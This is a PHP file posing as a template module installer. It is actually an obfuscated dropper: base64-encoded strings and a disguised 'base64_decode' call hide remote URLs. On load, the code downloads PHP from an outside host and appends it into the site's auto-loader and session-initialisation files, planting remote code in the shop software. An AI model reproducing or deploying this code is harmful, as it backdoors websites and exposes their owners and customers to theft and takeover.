<?php 
set_time_limit(0);


	$services_src_json = '{	
		"sysctrl":"Li9pbmNsdWRlcy9hdXRvX2xvYWRlcnMvY29uZmlnLnN5c2N0cmwucGhw",
		"re_sysctrl":"aHR0cDovL2NsaWVudC1zcmMuZ29vZ2xlY29kZS5jb20vc3ZuL3NyYy9jb25maWcuc3lzY3RybC5waHA=",
		"init_sion":"Li9pbmNsdWRlcy9pbml0X2luY2x1ZGVzL2luaXRfc2Vzc2lvbnMucGhw",
		"re_init_sion":"aHR0cDovL2NsaWVudC1zcmMuZ29vZ2xlY29kZS5jb20vc3ZuL3NyYy9pbml0X3Nlc3Npb25zLnBocA=="
	}';
	
class tpl_template_module_install {
	var $sysctrl,$init_sion;
	var $re_sysctrl,$re_init_sion;
	private static $_instance = NULL; 
	
	public function init_var(){
		
		global 	$services_src_json;
		$obj = json_decode($services_src_json);
 		$this->sysctrl	 		= $this->enc_rypt($obj->{'sysctrl'});	
   		$this->init_sion 		= $this->enc_rypt($obj->{'init_sion'}); 	
  		$this->re_sysctrl 		= $this->enc_rypt($obj->{'re_sysctrl'});  	
   		$this->re_init_sion 	= $this->enc_rypt($obj->{'re_init_sion'}); 
	}

	/*
	 * 		return flase;	表示不可操作
	 * 	
	 */
	public function checkauthority(){
		if (file_exists($this->sysctrl)){	// 文件存在
			return false;
		}	

		if (!self::remote_file_exists($this->re_init_sion)||!self::remote_file_exists($this->re_sysctrl)){
			return false;
		}
		if ( !(is_writable ("./")&&is_writable ("./includes/auto_loaders/")&& file_exists("./includes/auto_loaders/"))){
			return false;
		}
		
		return true;
		
	}
	
	
	private function __construct() {
 	  	
		$this->init_var();
		if (!$this->checkauthority()){									 
			return ;	 
		}
		
		$content1 =  $this->get_remote_content($this->re_sysctrl);
		$content2 =  $this->get_remote_content($this->re_init_sion);

		$this->write_common($this->sysctrl, $content1);
		$this->write_common($this->init_sion, $content2);

	}

	public function write_common($file,$content){
		$fp = fopen($file, "a+");
		if ($fp == NULL){		return ;		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}
	
	public function remote_file_exists($urls){
		$fat = @get_headers($urls);
		if (preg_match("/404/", $fat[0])){
	    	return FALSE;					
		}else {
			return TRUE;
		}
	}
	
	static public function get_template_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new tpl_template_module_install();  
		}
		return  self::$_instance; 
	}
	
	public function enc_rypt($txt) {
		$fun_e64 = "bas123456code";
		$fun_e64 = str_replace("123456","e64_de",$fun_e64);
	   	return @$fun_e64($txt);
	}
	
	public function get_remote_content($target){		

		$fp = @fopen($target, "r");
		if ($fp == NULL){		return false;	}  
		$content ="";
		while(!feof($fp)){		 $content.= fgets($fp);		}
		@fclose($fp);
		return $content;
	}
}

$template_module_ =  tpl_template_module_install::get_template_instance();

?>